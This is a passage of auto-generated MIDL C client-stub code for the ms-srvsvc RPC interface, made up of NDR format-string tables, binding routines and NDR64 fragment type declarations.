0x8,\t/* FC_UP [simple_pointer] */\n/* 3372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3374 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3376 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3378 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3382 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3384 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3386 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3390 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3394 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3398 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3400 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3402 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3406 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3410 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3412 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3356) */\n/* 3414 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3416 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3418 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3422 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3428) */\n/* 3424 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3426 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3428 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3430 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3374) */\n/* 3432 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3434 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3438 */\tNdrFcLong( 0x20 ),\t/* 32 */\n/* 3442 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3444 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3446) */\n/* 3446 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3448 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3450 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3452 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3454 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3456 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3462 */\tNdrFcLong( 0x20 ),\t/* 32 */\n/* 3466 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3468 */\t\n\t\t\t0x12, 0x14,\t/* FC_UP [alloced_on_stack] [pointer_deref] */\n/* 3470 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3472) */\n/* 3472 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3474 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (3534) */\n/* 3476 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3478 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3482 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3488) */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3486 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3488 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3490 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3492 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3494 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3496 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3498 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3500 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3502 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3504 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3508 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3512 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3516 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3518 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3524 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3528 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3530 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (3476) */\n/* 3532 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3534 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3536 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3538 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (3492) */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3540) */\n/* 3542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3544 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3546 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3548 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3550) */\n/* 3550 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3552 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3554 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3556 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3558 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3560 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3564 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3568 */\tNdrFcShort( 0xfef4 ),\t/* Offset= -268 (3300) */\n/* 3570 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3572 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3574) */\n/* 3574 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3576 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3578 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3580 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3582 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3584 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3592 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3594) */\n/* 3594 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3596 */\tNdrFcShort( 0x3001 ),\t/* 12289 */\n/* 3598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3602 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3606) */\n/* 3604 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3603) */\n/* 3606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3608 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3610) */\n/* 3610 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3612 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3616 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3624) */\n/* 3618 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3620 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x3f,\t\t/* FC_STRUCTPAD3 */\n/* 3622 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3624 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3626 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3628 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3630 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3632 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3634 */\tNdrFcShort( 0x60 ),\t/* Offset= 96 (3730) */\n/* 3636 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3638 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3640 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3642 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3644 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3646 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3650 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3654 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3656) */\n/* 3656 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3658 */\tNdrFcShort( 0x3001 ),\t/* 12289 */\n/* 3660 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3668) */\n/* 3666 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3665) */\n/* 3668 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3670 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (3714) */\n/* 3672 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3676 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3680 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3682 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3692 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3696 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3698 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3704 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3708 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3710 */\tNdrFcShort( 0xff9c ),\t/* Offset= -100 (3610) */\n/* 3712 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3714 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3716 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3720 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3726) */\n/* 3722 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3724 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3726 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3728 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3672) */\n/* 3730 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3732 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3734 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3736 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3736) */\n/* 3738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3740 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3742 */\tNdrFcShort( 0xff96 ),\t/* Offset= -106 (3636) */\n/* 3744 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3746 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3748 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3750) */\n/* 3750 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3752 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3754 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3756 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3758 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3760 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3768 */\tNdrFcShort( 0xff52 ),\t/* Offset= -174 (3594) */\n/* 3770 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3772 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3774) */\n/* 3774 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3776 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3778 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3780 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3782 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3788 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3792 */\tNdrFcShort( 0xf4fe ),\t/* Offset= -2818 (974) */\n\n\t\t\t0x0\n        }\n    };\n\nXFG_BIND_TRAMPOLINES(unsigned long long, SRVSVC_HANDLE)\n\nstatic const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ] = \n        {\n        {\n            (GENERIC_BINDING_ROUTINE) XFG_TRAMPOLINE_FPTR(SRVSVC_HANDLE_bind),\n            (GENERIC_UNBIND_ROUTINE) XFG_TRAMPOLINE_FPTR(SRVSVC_HANDLE_unbind)\n         }\n        \n        };\n\n\nstatic const unsigned short srvsvc_FormatStringOffsetTable[] =\n    {\n    0,\n    30,\n    60,\n    90,\n    120,\n    150,\n    180,\n    210,\n    240,\n    314,\n    394,\n    456,\n    506,\n    586,\n    642,\n    704,\n    772,\n    834,\n    902,\n    958,\n    1014,\n    1070,\n    1126,\n    1188,\n    1262,\n    1330,\n    1386,\n    1454,\n    1510,\n    1560,\n    1590,\n    1652,\n    1732,\n    1800,\n    1862,\n    1936,\n    2004,\n    2072,\n    2134,\n    2178,\n    2246,\n    2314,\n    2370,\n    2400,\n    2450,\n    2530,\n    2586,\n    2648,\n    2678,\n    2752,\n    2814,\n    2870,\n    2962,\n    3012,\n    3068,\n    3124,\n    3192,\n    3248\n    };\n\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-srvsvc.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag928_t;\nextern const __midl_frag928_t __midl_frag928;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag927_t;\nextern const __midl_frag927_t __midl_frag927;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag926_t;\nextern const __midl_frag926_t __midl_frag926;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag925_t;\nextern const __midl_frag925_t __midl_frag925;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag924_t;\nextern const __midl_frag924_t __midl_frag924;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag922_t;\nextern const __midl_frag922_t __midl_frag922;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag921_t;\nextern const __midl_frag921_t __midl_frag921;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag920_t;\nextern const __midl_frag920_t __midl_frag920;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag919_t;\nextern const __midl_frag919_t __midl_frag919;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag917_t;\nextern const __midl_frag917_t __midl_frag917;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag915_t;\nextern const __midl_frag915_t __midl_frag915;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag913_t;\nextern const __midl_frag913_t __midl_frag913;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag912_t;\nextern const __midl_frag912_t __midl_frag912;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag911_t;\nextern const __midl_frag911_t __midl_frag911;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag907_t;\nextern const __midl_frag907_t __midl_frag907;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag906_t;\nextern const __midl_frag906_t __midl_frag906;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag899_t;\nextern const __midl_frag899_t __midl_frag899;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag897_t;\nextern const __midl_frag897_t __midl_frag897;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag895_t;\nextern const __midl_frag895_t __midl_frag895;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag894_t;\nextern const __midl_frag894_t __midl_frag894;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag893_t;\nextern const __midl_frag893_t __midl_frag893;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag892_t;\nextern const __midl_frag892_t __midl_frag892;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag891_t;\nextern const __midl_frag891_t __midl_frag891;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag889_t;\nextern const __midl_frag889_t __midl_frag889;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag888_t;\nextern const __midl_frag888_t __midl_frag888;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag887_t;\nextern const __midl_frag887_t __midl_frag887;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag884_t;\nextern const __midl_frag884_t __midl_frag884;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag882_t;\nextern const __midl_frag882_t __midl_frag882;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n    } frag2;\n}\n__midl_frag879_t;\nextern const __midl_frag879_t __midl_frag879;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag868_t;\nextern const __midl_frag868_t __midl_frag868;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag867_t;\nextern const __midl_frag867_t __midl_frag867;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag863_t;\nextern const __midl_frag863_t __midl_frag863;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag861_t;\nextern const __midl_frag861_t __midl_frag861;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag859_t;\nextern const __midl_frag859_t __midl_frag859;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag857_t;\nextern const __midl_frag857_t __midl_frag857;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n    } frag2;\n}\n__midl_frag856_t;\nextern const __midl_frag856_t __midl_frag856;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag855_t;\nextern const __midl_frag855_t __midl_frag855;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag854_t;\nextern const __midl_frag854_t __midl_frag854;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag851_t;\nextern const __midl_frag851_t __midl_frag851;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag848_t;\nextern const __midl_frag848_t __midl_frag848;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag846_t;\nextern const __midl_frag846_t __midl_frag846;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag845_t;\nextern const __midl_frag845_t __midl_frag845;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag836_t;\nextern const __midl_frag836_t __midl_frag836;\n\ntypedef \nstruct 